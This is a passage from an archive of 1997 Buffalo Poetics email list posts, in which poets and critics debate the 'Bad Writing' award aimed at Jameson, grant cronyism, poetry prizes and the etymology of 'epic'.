>> such items, though this is limited to an html/java interface---but if the
>> ht is in, say, storyspace, you can always try a publisher like eastgate
>> (and storyspace exports to html, with some difficulties likely)... and yet
>> another way is to actually compose a (print!) justification for doing such
>> work...
>
>pleasureTEXTpossession is online at my Qazingulaza site, so in that
>sense it is accessible & published. it is specifically a work in html
>so Im not sure storyspace would coincide. we have discussed a hardcopy
>version, but this of course does nothing to address the legitimacy of
>the virtual text.
>
>probably best to take all three tacks at once...
>>
>> if i can help in any way, just let me know... i'm sure john cayley, jim
>> rosenberg and others on this list can help too... for what it's worth, i'm
>> faced mself with much the same problem...
>

>personally feel that while Maria is probably not in a position to tweak
>this situation to her advantage, that as an issue for writers in
>electronic space these are the kinds of pigeonholing barriers that want
>to put electronic writing in the same dusty file cabinet as concrete &
>visual, sound, performance, & other traditional edges of poetrivance.
>
>lurking forth
>
>miekal
>
>--
>@#
>Dreamtime Village website: http://net22.com/dreamtime
>QAZINGULAZA: And/Was/Wakest website:
>http://net22.com/qazingulaza
>e-mail for DT & And/Was: [redacted]

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706. **Maria Damon**

Re: Robocop Lives In Christchurch

Fri 23 May 1997

At 5:57 PM -1000 5/22/97, rob wilson wrote:
>The bias and perversity of this "Bad Writing" award was clear to me right
>away, and the more I thought about it to be associated (with Jameson) and
>the downfall of a certain kind of narrow English writing ("real thinking")
>and the downfall, alas, of "English as an academic discipline" was
>something to take (perverse) pleasure in. The attack on language is, per
>usual, a veiled attack on a differetn kind of thinking, another writing
>style that would push against the limits of clarity, conformist
>assumptions of social reality, and "common sense." That I was writing
>about the sublime cyborg, Robocop, and tried to give the sentences a
>parodic feel of the postmodern machinic being would be lost on a lecturer
>in the philosophy of art who cannot tell the sublime from the beautiful
>nor Jameson from an idiot (or just resentful mediocrity?) like himself.
>The push was towards the "dialectical sentence" that trries to incorporate
>the difficulty of grasping and reading the social into its very formation.
>What rough beast, its hour come round at last, slouches, towards
>Christchurch New Zealand to be born? I do. Rob Wilson
>
>PS. And thanks, Maria Damon et al, for reading between the lines of that
>AP anti-language release.

the pleasure is all mine...

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707. **Mark Prejsnar**
Re: NEA, cronyism, etc.
Fri 23 May 1997

I think Amato's long post was as always interesting and passionate and worthwhile. I've been a poet for decades and have never been within lightyears of the academic world (being an un-degreed library worker in an acadmic library is *very* far out of the loop of academe, so don't let my "edu" fool ya)...So I can't speak to those concerns. But there are a lot of interesting points that keep occuring to me as I read this thread...On the one hand there are a lot of folks who have done crucial work for the benefit of all of us, with nea and other funding (such as Charles Alex., and his post speaks well to the current crisis that right-wing attacks on social values are bringing to those operations); on the other hand there have always been networks of publication and exchange and mutual support that have existed *without* grant-type funding, and it may be that there will be no option for the counterstream but to operate in that way, increasingly. Less mainstreamish approaches to poetry, such as I respond to, have always been made to function with fewer resources, unfortuantely. That's not in any way itself a good. But if there is less capital accumulated from a variety of public, tax-base, private and institutional sources behind a given poetry mag, say, or publisher, then the physical quality of the product will suffer, and of course distribution will suffer big time; but it's true that in that case there is less "corrupt cronyism" involved too--We support those we feel passionately are the poets we care about, the poets we consider the best ones and the vital ones. No doubt I'm to be blamed for not doing a better job at finding grant and institutional support for my projects...Before someone accuses me of it, let me insist that I'm **not** recommending poverty and zamizdat and sugared sonnets among friends, as a *preferable* option. But it does strike me that there are advantages to trying to build a dynamic pluralistic democracy of poetry, on a shoestring. Some of the tangled questions, about where legitimate partisanship and cronyism divide (which are very real problems, if you have been given institutional resources to handle, I realize that) don't come up, for some who more outside well-funded structures. (...by the way, Joe, the comment made to you by one judge, that they could always arrange the rejection of a ms. by sending to someone they knew were out of sympathy, is *widely* known to happen in science, as well, one of a number of dirty little secrets involved in the peer-review system)

Mark P.
Atlanta

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708. Maria Damon
Re: Fwd: Bad Writing Awards (fwd)
Fri 23 May 1997

At 4:11 AM -0400 5/23/97, [redacted] wrote:
>My now famous colleague, Rob Wilson, asks me to send this along. sms
 The
>fame and influence of writers such as Hegel, Heidegger, or Derrida
>rests in part on their mysterious impenetrability. On the other hand,
>as a cynic once remarked, John Stuart Mill never attained Hegel's
>prestige because people found out what he meant. This is a mistake
>the authors of our our prize-winning passages seem determined to
>avoid.
>

thanks for posting this sentence, rob/susan. it foregrounds yet another strand of this factional conflict, namely nationalism and xenophobia. brits, wth their clear, crunchy prose, are the virtuous underdogs, the french and germans with their dreamy obscurity and questionable sexualities, are in the ascendancy in this world war III of language.

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709. Robert Archambeau
Jameson contra Jameson
Fri 23 May 1997

A few words of Jameson's might be of interest to those following the "Bad Writing" and "Jameson's Prose" threads. This is a passage Jameson wrote regarding Bertolt Brecht and Walter Benjamin's "Plumpes Denken", and the putting forth of arguments in plain language. He argues that their plain form of argument is a historical phenomenon, a necessary reaction to the obscurity of a more Hegelian Marxism. That was 21 years ago -- I wonder if we might now have reached a similar point in history, and if the (unfair, narrow-minded, bullying) PHIL-LIT material might be viewed as the nastier side of this phenomenon.

It may or may not be relevant that I write this as someone who:

A) Thinks _The Political Unconscious_ is one of the most profound books of criticism to appear in my lifetime. B) Does not want to emulate the prose style of the later Jameson. C) Went to graduate school during a time when Jameson was presented as an authoritative, rather than a radically marginal, figure in literary and cultural studies. D) Was asked to desubscribe from PHIL-LIT a couple of years ago over a post I wanted to make about deconstruction.

Jameson:

"I think that the problem lies in this, that we are always _in situation_ with respect to class and ideology and cultural history, that we are never able to be mere blank slates, and that truth can never exist as a static system, but always has to be part of a more general process of _demystification_. This, in its simplest form, is the justification and the essence of the dialectical method; and the proof is that even _plumpes Denken_ takes its value from the intellectual positions which it corrects -- the overcomplicated Hegelianism or philosophic Marxism for which it substitutes some hard truths and plain language. So _plumpes Denken_ is not a position in its own right either, but the demystification of some prior position from which it derives its acquired momentum and of which it comes as a genuinely Hegelian _Aufhebung_ or cancellation/transcendence"

This from the essay "Criticism in History" in Norman Rudich's excellent and hard-to-find anthology _Weapons of Criticism: Marxism in America and the Literary Tradition_ (Palo Alto: Ramparts Press, 1976).

Are we about to see the emergence (not just on the right) of a new _plumpes Denken_? At least two conditions seem right for it:

1) we have a complicated and abstruse philosophical Marxism now, which may be generating its own Brechts and Benjamins

and

2) with fewer grants and more financial pressures, the presses that have supported this criticism are looking for ways to be more accessible and therefore more profitable

Like Daniel Zimmerman, waiting for the pie barrage (or should I say, the cancellation/transcendence of my position),

Robert Archambeau

PS: The passage above is proof that Jameson can be lucid when he wants to be.

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710. Peter Landers

Re: who gets the prizes, etc.

Fri 23 May 1997

Anselm wrote:
> One must admit, however, that one is more fortunate than poets such as
> Arkadii Dragomoschenko and Ilya Kutik were in pre-1989 Russia: the Small
> Press Distribution catalogue, the Buffalo Poetics Discussion Group, programs
> at Brown and Buffalo, New College of California, The Jack Kerouac School

of
> Writing and Poetics at The Naropa Institute, etc., had no counterparts
in
> that place and time.
>
> Thus, from the writing person's point of view, late-stage corporate
> capitalism may be seen as preferable to Stalinism, in that it is closer
to
> medieval feudalism: troubadours hanging out with the "right" and
> better-connected overlords probably stood a better chance of having
their
> works survive to be translated by (definitely non-"Iowa") Paul Blackburn
on
> smoky nights above McSorley's Saloon...

Anselm, I'm sure you would also agree that it's also best just to focus on one's own poetry and aesthetic integrity than to get caught up in poetry politics. I can't imagine how else a poet with new ideas can cope.

I agree that it is wise to be aware of the cliques, but acceptance by an "important person" within a clique doesn't change the poetry or the editing (as in Mr. Hoover's case). Hoover's and Chernoff's 'zine is always worth its cover price. There isn't any better criteria for me than that.

The issues I take with the anthology have more to do with the exclusion of Zukofsky. If the Objectivists weren't included with the modernists or the post-modernists, when and where will Norton put them. They claim that Ashberry was the first big influence on the language poets, but as those of us who got that 'zine way back when know, it was Gertrude Stein and Louis Zukofsky who inspired them. And everyone was trying to fathom Clark Coolidge. The anthology is generally full of really fine poems, but the historical background given at the front of the book is not to my liking.

Anyhow, my real point is that Hoover's award from the Iowa camp is not any kind of "selling out". For me it is good to see people of one armed camp making peace with people from the other. It is good to disagree; that helps us clarify our thoughts, but some of the warfare has been plain ugly. Maybe this is a sign that things are improving. But probably not. Mariani received much recognition on both sides for having written about WCW, but the meter-beaters still don't give Williams his due. Maybe Hoover's recognition is just a pat on the back for being published by W.W.Norton. Norton does have a great distribution, and some great poets are being read for the first time because of it. Messerli's anthology is better, though, and I can't wait till Jerry and Pierre bestowed their Volume II on us.

Concerning battles, I wonder, Anselm, if you see yourself in the thick of it or on the outside. Are you, in your own view, more of a Shaw or a Dickenson. Your work has certainly been called up in the middle of heated arguments. My guess is that you'd rather just stay cool and work on your own vision.

Pete Landers
[redacted]

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711. Daniel Zimmerman
Fwd: Bad Writing
Fri 23 May 1997

Maria Damon wrote:
>
> At 5:57 PM -1000 5/22/97, rob wilson wrote:
> >The bias and perversity of this "Bad Writing" award was clear to me right
> >away, and the more I thought about it to be associated (with Jameson) and
> >the downfall of a certain kind of narrow English writing ("real thinking")
> >and the downfall, alas, of "English as an academic discipline" was
> >something to take (perverse) pleasure in. The attack on language is, per
> >usual, a veiled attack on a differetn kind of thinking, another writing
> >style that would push against the limits of clarity, conformist
> >assumptions of social reality, and "common sense." That I was writing
> >about the sublime cyborg, Robocop, and tried to give the sentences a
> >parodic feel of the postmodern machinic being would be lost on a lecturer
> >in the philosophy of art who cannot tell the sublime from the beautiful
> >nor Jameson from an idiot (or just resentful mediocrity?) like himself.
> >The push was towards the "dialectical sentence" that trries to incorporate
> >the difficulty of grasping and reading the social into its very formation.
> >What rough beast, its hour come round at last, slouches, towards
> >Christchurch New Zealand to be born? I do. Rob Wilson
> >
> >PS. And thanks, Maria Damon et al, for reading between the lines of that
> >AP anti-language release.
>
> the pleasure is all mine...

Re: roughing it with the beast in his new clothes...

Rob Wilson's defense of a "style that would push against the limits of clarity, conformist assumptions of social reality, and 'common sense.'... [a] push toward the 'dialectical sentence' that tries to incorporate the difficulty of grasping and reading the social into its very formation" strikes me as clear and readable.

Does that defeat its purpose? His sentence from The Administration of Aesthetics [in the message forwarded by Simon Schuchat], while not as opaque as Jameson's, lives up to its purpose only too well, to exclusion of anyone not in "the social" milieu which Wilson inhabits or seeks to establish. The question in another thread [on the NEA] about how to distinguish advocacy from cronyism seems apposite here. Should we admire preaching to the converted? Or bamboozling the Great Unwashed with hoo-hah? Objections to bad writing go back at least to George Orwell's "Poilitcs and the English Language" (e.g., his example of Harold Laski's contorted quintuple negative from "Freedom of Expression"!). The message: CYP (cover your petard)--a point well taken, if taken well, Polonius might say. Presumably, Professor Laski--writing well before the present vogue for 'oppositional' syntax--meant to clarify something by his sentence, but failed; thus, Orwell rightly condemned his sentence as bad writing. If Wilson or Jameson seek to obscure something--and succeed--should they receive praise for having written "good" sentences? Since when does the intention of a sentence qualify its merit? [If it did, all our students would get "A"s!]. And if no one can figure out what the sentence tried to obscure, defer, "problematize" [ugh] or "push against" in the first place, how should one judge whether it has succeeded or not? Not that Professor Dutton has any greater claim to "real thinking" than Jameson or Wilson, but at least he says what he says clearly--or tries to, and if he doesn't succeed, one can specify where and why. Some of the impulse for the kind of writing Dutton knocks (as no doubt Orwell would, too) seems to derive from the view of critics like Stanley Fish that criticism constitutes a higher 'art form' than literature & so, presumably, has carte blanche to exploit its methods. Fish, however, writes clearly enough--and interestingly--most of the time. Perhaps Marx (ever actually read Capital?) gives the turgid turn another twist: with the Cold War over and no hope of military insurrection against RoboWar, the pen--no matter how leaky or blotchy--still looks "mightier than the sword." But hey: who reads this stuff? The huddled masses? "Blind mouths"? Hardly. But much of it seems doomed to "fall on deaf (or deafened) ears." I don't see this as a case of "I knew Gedrtrude Stein. Gertrude Stein was a friend of mine...," but I do agree with Mark Baker that Jameson "at least in this sentence... wrote very badly," and I see nothing wrong in saying so about Jameson or anyone else. No doubt those so chided can ably defend themselves--though one may not sympathize entirely with their defenses, as I don't with Wilson's, however clearly he expressed it. Anyhow, waiting for the pie barrage, Dan Zinmmerman

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712. Elizabeth Hatmaker

awards

Fri 23 May 1997

Following the whole Paul Hoover/Marvin Bell post fiasco, I find myself returning to what I think was a primary point in Kent Johnson's original post. I respect what everyone has said about Paul Hoover and certainly do not begrudge any award he gets nor do I want to cast dispersions about Marvin Bell (whom I know very little about) and his reasons for supporting Hoover's work. However, I am, at a more theoretical level, concerned with possible outcomes of such perceived alliences. In many areas, poetry being one, I am certainly interested in people of differing ideas recognizing the value of each others work but I am also cynical of it, having seen the result in non- poetry cases--thinking here of some of the falseness I about toward American (often middle-class, often white) liberalism.

Not that it's happened in the Hoover case (or, quite frankly, any case I can think of), but I guess hearing the story makes me wonder, is there going to be some payoff expected? Is someone like Paul Hoover going to be expected to hold out the olive branch to more conservative writers? Of course, the question comes--are there more conservative writers who deserve awards? This would seen tied to questions (is my (or Paul Hoover's or anyone's) judgement about what is "good" poetry tied to "tastes" or other factors?) too complex for this post . More important to me would be is this how contests are run?

I have yet to win any sort of award and I recognize that the struggle to get recognition through awards, publications, etc. is different that that of maintaining a reputation once you have a few awards, etc.--certainly the contests are usually different. I suppose a possible fear I have when I read posts about cronyism is that both types of contests are about poets who already have positions and "reps" working to maintain these positions and "reps"

Interesting, but I note two types of posts have occured as a result of the Hoover/Bell and Jorie Graham posts--those which question thier motives, judgements, alliances, etc. (and give off the impression of not knowing the individuals involved) and the "I know this person and you are wrong" posts. Of course, if I thought a poet I knew and respected was somehow called into question I'd proabably write a "I know this person, how dare you" type of post, and I suppose posts which claim "yeah, I know so-and-so and you _should_ questions their motives" wouldn't be taken very seriously, but I wonder what, if any, cronyism underlies even these exchanges.

E. Hatmaker

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713. **amato**
shameless self-promotion...
Fri 23 May 1997

hey folks,

ad for my forthcoming book follows, which will i think irk poets & critics alike... it's older writing from my pov, but some of it holds up ok... & the bulk of it hasn't till now seen the light of print day...

what follows is from the flyer... eternal thanx to marjorie & charles (& gail & michael, who are not in these regions) for blurbing me... i'm told the book will be out early july, but it may be a bit later...

apologies for the interrupt, thanx for listening...

all best,

joe

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astonishing in its breadth. Part poem, part narrative, part academic argument, Amato uses a wide range of contemporary scholarship to inform his thinking. Yet the book elicits a personal rather than a cerebral response. Through considerations of family, ethnicity, computers, sexuality, lived experience, Amato brings mind and culture to bear on the construction of self."

Gail E. Hawisher, Professor of English and Director of the Center for Writing Studies, University of Illinois, Urbana-Champaign

"The verbal energy, intelligence, intensity, and integrity of the vision in this book are compelling. The author brings seemingly contrary texts, concerns, linguistic practices, and discourse to bear upon fundamental problems of our culture, the humanities, and poetics in an almost hypertextual matrix of narrative, philosophical, playful and poetic discourses. This is a difficult book aware of its joys; a joyful book aware of its difficulties."

Michael Joyce, Professor of English and the Library, Vassar College

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714. Steve Carll
Etymological Fallacy
Fri 23 May 1997

Mark Weiss wrote:
>Check out "fallacy" in the OED, meanings 3 and 4, or the American Heritage,
>meanings 1 and 2. "Fallacy" doesn't mean "wrong."

Granted, but what it does mean still implies a judgment that I wonder about the possibility of making.

> *The issue was the denotation of a particular word. It is possible to argue that "epic" was understood by Greeks in say, 400 BC, differently than it had been understood 400 years earlier without changing the meaning of the word so that it no longer denotes anything reliably--so that it no longer communicates efficiently.*

I'm pretty suspicious of reliable denotation and efficient communication. It's probably because I was born after advertising, mass media, psychology and politics fused.

> *But I'm a conservative old fart in these matters. "Problematize," for instance, strikes me as a barbaric usage.*

Sorry to knock down your gate, Mister, but can I have my ball back? :-p

****

[redacted] Steve Carll
http://writing.upenn.edu/epc/mags/antenym
http://writing.upenn.edu/epc/ezines/antenym

In seed-
sense
the sea stars you out, innermost, forever.

--Paul Celan
****

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715. **Mark Weiss**
Re: Etymological Fallacy
Fri 23 May 1997

George: Thanks for the info. At some point "epic" as genre-definition crystalized, and remained largely unchanged for almost two millenia in the west. What troubled me was what I saw as the imposition of the etymology of a loan word as _meaning_ onto later usage in the context of the borrower languages.

Jameson? I admire his mind. But there's no excuse for bad writing. In this case I think he uses the opacity of his style to mask a confusion or conflation of categories: visual=voyeur=pornography. I _could_ translate the sentence in question.

At 04:29 PM 5/22/97 -0400, you wrote:
>Hi Mark. George again. About this:
>
>>The issue was the denotation of a particular word. It is possible to argue
>>that "epic" was understood by Greeks in say, 400 BC, differently than it had
>>been understood 400 years earlier without changing the meaning of the

word
>>so that it no longer denotes anything reliably--so that it no longer
>>communicates efficiently.
>>
>It is interesting. I took some time to dig around. In fact, the semantic
>range of the word "epos" is wide at the beginning [Homer, Pindar], wide at
>the middle [say, Plato or Aristotle], and wide at the end [the scholiasts].
>That is, the word covers a rather large territory from Homer all the way
>down to late antiquity. I won't go into details. I also looked into the
>derivate "epikos". It turns out to be unattested until just abt the
>Christian era. The Latin borrowing "epicus" surfaces in the 3rd cent BCE,
>usually accompanying words like "poeta", "poema, "carmen".
>
>In short, there is no evidence whatsoever that the Grk word changed its
>meaning: its mg. was *always* broader than "our" "epic". It seems to me
>that it might be more likely that the semantic change is the responsibility
>of Latin writers, rather than Greek ones. I'm going to consult some
>classicists to see what they think.
>
>>But I'm a conservative old fart in these matters. "Problematize," for
>>instance, strikes me as a barbaric usage.
>
>How abt Jameson's prose?
>>
>Hope you are enjoying our tennis match. Yr. serve.
>
>George
>
>

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716. **Chris Stroffolino**

PATHETIC CREATURE (seen on tombstone)

Fri 23 May 1997

Seen on Tombstone--
"I just wanted to let people know I was
(and it's okay to be) a PATHETIC CREATURE"--
it was written or maybe clawed....
c

↑ Index

717. Chris Stroffolino
Re: Joel K and Scott P.
Fri 23 May 1997

Dear Joel--thanks for letting me know the status of my MS's
I figured as much by now and had already sent them
elsewhere. Anyway....
Thanks also for the lead for SCOTT POUND....
Are you there SCOTT POUND?
Are you a Buffalo person too?
If he's not there, how get in touch....
Was I in touch with you before....
I remember over a year ago I was in touch
with someone other than Joel K.
but I don't remember whether it was
SCOTT POUND?
At the time, my UNDERSTANDING was that
my essay on CLint Burnham was definitely
accepted for the review issue. And since I
will be off EMAIL by 5/26 I just thought I'd
try to find out. So, how get in touch wit him.
??????????
Anybody who can help would be appreciated...
chris s.

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718. William Burmeister Prod
Re: who gets the prizes, etc.
Fri 23 May 1997

> *Thus, from the writing person's point of view, late-stage corporate capitalism may be seen as preferable to Stalinism, in that it is closer to medieval feudalism: troubadours hanging out with the "right" and better-connected overlords probably stood a better chance of having their works survive to be translated...*

Well said. Feudalism is back!

BB

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719. William Burmeister Prod
Re: who gets the prizes, etc.
Fri 23 May 1997

> *Thus, from the writing person's point of view, late-stage corporate capitalism may be seen as preferable to Stalinism, in that it is closer to medieval feudalism: troubadours hanging out with the "right" and better-connected overlords probably stood a better chance of having their works survive to be translated...*
>
> *Well said. Feudalism is back!*
>
> *BB*

All right. So Trump Tower is not a damp and clammy stone keep.

BB

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720. henry g
Re: bad writing
Fri 23 May 1997

More off-the-top wit & wisdom from your digital Polonius:

re: bad writing Okay, so it's fun analyzing turgid style & pointing it out, but who wants to be a writing policeman after 7th grade english class? Lots of fields of scholarship can be mocked for hair-splitting abstrusities, jargon, & circularities. & some I suppose for intentional or subconscious or trained obfuscation. But bad writing is both a convenient club and the wrong handle. Seems to me in any argued discourse you want to look for the logic of it, the correlated evidence, the arguments - and either disagree, point out weaknesses, or agree with it. After seventh grade, style - however sick, corrupt, decadent, & just plain bad - is, contra Pound, not relevant. I'm not talking about poetry here (sorry, you "creative critics"). A lot of these writing policemen claim their targets are obfuscatory or even illogical, when basically they haven't bothered (& who can blame them) to master the writer's terms. - H. Gould

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721. Joe Safdie
Re: Jameson contra Jameson
Fri 23 May 1997

On Fri, 23 May 1997, Robert Archambeau wrote (in part):
>
> Are we about to see the emergence (not just on the right) of a new
> _plumpes Denken_? At least two conditions seem right for it:

>
> 1) we have a complicated and abstruse philosophical Marxism now, which
> may be generating its own Brechts and Benjamins
>
> and
>
> 2) with fewer grants and more financial pressures, the presses that have
> supported this criticism are looking for ways to be more accessible and
> therefore more profitable

Count me as one who'd like to see this happen and for whom "accessible" is not necessarily a dirty word.

But -- to twist the question a little -- are people entirely sanguine about seeing Benjamin JUST as a link in the chain of philosophical Marxism? I've always thought the Gershom Scholem Kabbalistic side of his thought at least as fascinating; in fact, that he combines these two strands at all may be the most fascinating thing about him! Interesting seeing Brecht and Scholem in a tug-of-war for his affections.

Kabbala can get pretty abstruse too, of course . . .

P.S. and entirely off the radar range: I'm number 99 on the Seattle Public Library wait list for *Mason & Dixon* so won't be able to join that discussion for a while, but instead picked up last week Brad Gooch's bio of Frank O'Hara *City Poet*. Has this book been discussed on the list at all? Does anyone have any strong opinions about it one way or the other? Been reading it in light of recent posts about cronyism and, of course, gossip . . . backchannels fine.

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722. **Mark Baker**

Pie Barrage

Fri 23 May 1997

For Daniel Zimmerman and Robert Archambeau,
don' juan a pie barrage? So:

A nest of tuneful persons, to my eye
Like "four and twenty Blackbirds in a pye;

"Which pye being opened they began to sing,"
  (This old song and new simile holds good),
"A dainty dish to set before the King,"
  Or Regent, who admires such kind of food;--
And Jameson, too, has lately taken wing,
  But like a hawk encumbered with his hood,--

Explaining Metaphysics to the nation--
I wish he would explain his Explanation.

Mark Baker

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723. David Israel
Re: Joel K and Scott P. -Reply
Fri 23 May 1997

Chris --

you asked about Scott Pound (whom I don't pesonally know). Evidently Scott is a subscriber to the Poetics listserv; -- his email address is given by the computer as:

[redacted]

(& ergo, presumably he is "a Buffalo person"). Anyway, I'm copying him with this message -- so that (in case he didn't note it among the mass of Poetics posts) Scott may be aware that you're trying to reach him.

best,
d.i.

(p.s.: likewise copying Joel Kuszai)

>>> Chris Stroffolino <[redacted]> 05/23/97 02:46pm
>>>
Dear Joel--thanks for letting me know the status of my MS's
I figured as much by now and had already sent them
elsewhere. Anyway....
Thanks also for the lead for SCOTT POUND....
Are you there SCOTT POUND?
Are you a Buffalo person too?
If he's not there, how get in touch....
Was I in touch with you before....
I remember over a year ago I was in touch
with someone other than Joel K.
but I don't remember whether it was
SCOTT POUND?
At the time, my UNDERSTANDING was that
my essay on CLint Burnham was definitely
accepted for the review issue. And since I
will be off EMAIL by 5/26 I just thought I'd
try to find out. So, how get in touch wit him.

??????????
Anybody who can help would be appreciated...
chris s.

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724. Mark Baker
Re: bad writing
Fri 23 May 1997

Henry Gould wrote:

> *Seems to me in any argued discourse you want to look for the logic of it, the correlated evidence, the arguments - and either disagree, point out weaknesses, or agree with it. After seventh grade, style - however sick, corrupt, decadent, & just plain bad - is, contra Pound, not relevant. I'm not talking about poetry here (sorry, you "creative critics"). A lot of these writing policemen claim their targets are obfuscatory or even illogical, when basically they haven't bothered (& who can blame them) to master the writer's terms.*

Abandon freshman comp. teaching, all you grant-deprived poets! The writer's terms are the style; the logic of Jameson's prose is the logic of his style. Ain't that the point of it? Why else write the way he does? He does it purposely, so criticizing the style (or agreeing with it by imitating it) is doing pretty much what you want people to look for. That's why most people on the List suspect ideological bias in Dutton's contest: the contest criticizes the style because it don't like the argument (which, again, is the style, as we who get pleasure in merely circulating say).

Or do you mean *conventional* standards of style are irrelevant? Yup, or at least too limited, because they limit receptivity to different arguments. But not style itself.

Mark Baker

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725. Hoa Nguyen
Re: epic redux/etymology
Fri 23 May 1997

Dale here from Hoa's machine:

Etymology is not a science with exact definition. Its goal is to show the history of a word's usage. It seems to me that a word is only "defined" through its usage and changes over time for a variety of reasons. As a poet, I find the historical weight of words fascinating and essential to how I understand language.

Rather than defining a word's meaning, the etymological process is more like measuring historical transmutations. Knowing how a word was once used offers important contrast to the meanings we apply to the same words now. Besides, an etymological dictionary is necessry for my understanding of poetry from any period. But of course, these tools are relied upon more and more the further back you go in the language.

> *From [redacted] Tue May 20 10:32:49 1997*
> *Received: (qmail 7669 invoked from network); 20 May 1997 17:25:26 -0000*
> *Received: from listserv.acsu.buffalo.edu (128.205.7.35)*
> *by deliverance.acsu.buffalo.edu with SMTP; 20 May 1997 17:25:26 -0000*
> *Received: from LISTSERV.ACSU.BUFFALO.EDU by LISTSERV.ACSU.BUFFALO.EDU*
> *(LISTSERV-TCP/IP release 1.8c) with spool id 14244546 for*
> *[redacted]; Tue, 20 May 1997 13:25:20 -0400*
> *Received: (qmail 7675 invoked from network); 20 May 1997 17:25:18 -0000*
> *Received: from iceland-c.it.earthlink.net (HELO iceland.it.earthlink.net)*
> *(204.119.177.28) by listserv.acsu.buffalo.edu with SMTP; 20 May 1997*
> *17:25:18 -0000*
> *Received: from LOCALNAME (1Cust89.Max13.San-Diego.CA.MS.UU.NET*
> *[153.34.217.217]) by iceland.it.earthlink.net (8.8.5/8.8.5) with SMTP*
> *id KAA28637 for <[redacted]>; Tue, 20 May 1997*
> *10:25:15 -0700 (PDT)*
> *X-Sender: [redacted]*
> *X-Mailer: Windows Eudora Light Version 1.5.2*
> *Mime-Version: 1.0*
> *Content-Type: text/plain; charset="us-ascii"*
> *Message-ID: <[redacted]>*
> *Date: Tue, 20 May 1997 10:25:15 -0700*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *Sender: UB Poetics discussion group <[redacted]>*
> *From: Mark Weiss <[redacted]>*
> *Subject: epic redux/etymology*
> *To: [redacted]*
>
> *I'd like to propose a new term for the list's consideration:*
>
> *the etymological fallacy--a. that two words wrom the same root continue to mean the same thing.*
> *b. that a word retains the meaning of its root.*
>
> *Here's a recent example of a.: sensible and sensitive. Example: "I was starving, your honor. In my situation stealing your wife's purse was the sensible thing to do."*
> *Substitute sensitive.*
>
> *And here's an example of b.: epic as gossip.*

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726. **henry**
Re: bad writing
Fri 23 May 1997

On Fri, 23 May 1997 14:47:55 -0700 Mark Baker said:
>
>Abandon freshman comp. teaching, all you grant-deprived poets!
>The writer's terms are the style; the logic of Jameson's prose is the
>logic of his style. Ain't that the point of it? Why else write the
>way he does? He does it purposely, so criticizing the style (or agreeing
>with it by imitating it) is doing pretty much what you want people to
>look for. That's why most people on the List suspect ideological bias in
>Dutton's contest: the contest criticizes the style because it don't like
>the argument (which, again, is the style, as we who get pleasure in
>merely circulating say).
>
>Or do you mean *conventional* standards of style are irrelevant?
>Yup, or at least too limited, because they limit receptivity to
>different arguments. But not style itself.
>
Mark - loved your Augustan stanza. In my view, academic treatises,
philosophy, etc. are based on a transparent non-style. Now I know
Plato-lovers etc. are already up in arms. But the nonstyle is the
transparent ground-bass(?). It's utilitarian prose transmitting ideas,
the aim is not to seduce with the felicities of the language per se.
That's why the platonic dialogues are so wonderful : it's extraneous
pleasure. Each philosopher has her or his own gorgeous individual
excellent eccentric STYLE, yes, which may be a rhetorical checkmate
but not a logical proof. But these academic explainers (Jameson et al)
with their pompous turgid theories don't make it as philosophers. & how
sad it is for a POETICS list to even have to deal with them, I say.
Winston Curnow, your recent post on your problems with dirtying your hands
in the "circus" of award/publication PR are relevant here! What a parade
of fools the whole poetry industry really is, more truly than you think!
You're in it deeper than you know! To think that entire "schools" of
experimental poetry could arise flavored with the pure pomposity of
academic "engage" "theorists" and "critics"!! & that good Brother Anselm

could single out Naropa, Buffalo, and Brown, etc. as regions of political purity and poetic liberation! Believe me, the false prestige of the established literati (Amer. Acad. of Arts & Letters, Iowa, etc.) - the whole sense of "falseness" there - is based on these poets' LACK of a necessary narrative. The charm of Homer, Ariosto, Milton, even, is that their gifts were bent under the weight of economic & political necessity unto death. This is the charm of their work at work! Same goes for Villon! We live in an Empire, gang, anything goes, it all goes. To think that the Language Poets or the [fill-in-the-blank] School are going to purify the language of the tribe by devoting themselves to Right Doctrine & Politique is the laugh of the end-of-century! Let's talk about the glories of Jameson's PC style, huh poets?? To hell with all them critics. - Henry Gould

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727. Alan Jennifer Sondheim
Re: bad writing
Fri 23 May 1997

But what if there is no such mastery? What if the text is incomprehensible? What if it separates demographics on the basis of the master's vocabulary?

Or should we all accept the role of either ignorance or discipleship?

In fact there are situations where one _does_ require information, and it's simply in too obscure a form for most people to be useful - computer papers are an example.

Finally, on what basis is "style" equated with writing's com- prehension?

Alan

On Fri, 23 May 1997, Maria Damon (Maria Damon) wrote:

> *terrific post, ghoul(d).*
>
> *At 3:12 PM 5/23/97, henry g wrote:*
> *More off-the-top wit & wisdom from your digital Polonius:*
>
> *re: bad writing*
> *Okay, so it's fun analyzing turgid style & pointing it out, but who wants to be a writing policeman after 7th grade english class? Lots of fields of scholarship can be mocked for hair-splitting abstrusities, jargon, & circularities. & some I suppose for intentional or subconscious or trained obfuscation. But bad writing is both a convenient club and the*

> *wrong handle. Seems to me in any argued discourse you want to look for the logic of it, the correlated evidence, the arguments - and either disagree, point out weaknesses, or agree with it. After seventh grade, style - however sick, corrupt, decadent, & just plain bad - is, contra Pound, not relevant. I'm not talking about poetry here (sorry, you "creative critics"). A lot of these writing policemen claim their targets are obfuscatory or even illogical, when basically they haven't bothered (& who can blame them) to master the writer's terms. - H. Gould*

_____ URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html MIRROR: http://www.anu.edu.au/english/internet_txt/ and Javascripted text/webpages -- Tel. [redacted], 432 Dean St., Brooklyn, NY 11217 IMAGES: http://www.cs.unca.edu/~davidson/pix/ Editor, BEING ON LINE

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728. Alan Jennifer Sondheim
Re: Jameson contra Jameson
Fri 23 May 1997

On Fri, 23 May 1997, Maria Damon (Maria Damon) wrote:

> *nothing wrong w/ accessibility; but one question shd be: accessible to whom, under what circumstances, etc? accessibility and the politics thereof are not transparently self-evident.*

And accessibility _always_ constructs a politics, demographics - and divisions as well.

Alan

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729. Pritchett,Pat
Re: bad writing
Fri 23 May 1997

I don't find Jameson turgid at all, but highly provocative and often, very lucid. Far more lucid, say, than Derrida. But I like what Henry is saying here, which, if I may extrapolate, seems to be that all criticism - and all writing - aspires to the condition of poetry. As Valery remarks in his "Introduction to the Method of Leonardo daVinci," (I paraphrase): in the end, what remains of the gorgeous systems of a Plato, a Spinoza, if not a work of art?

He goes on to say that this is why we continue to read them: not as "proofs of life" or whatever, but because of the example of their beauty. But "critical thought" can and does reach the level of the poetic - I'm thinking of Barthes' _A

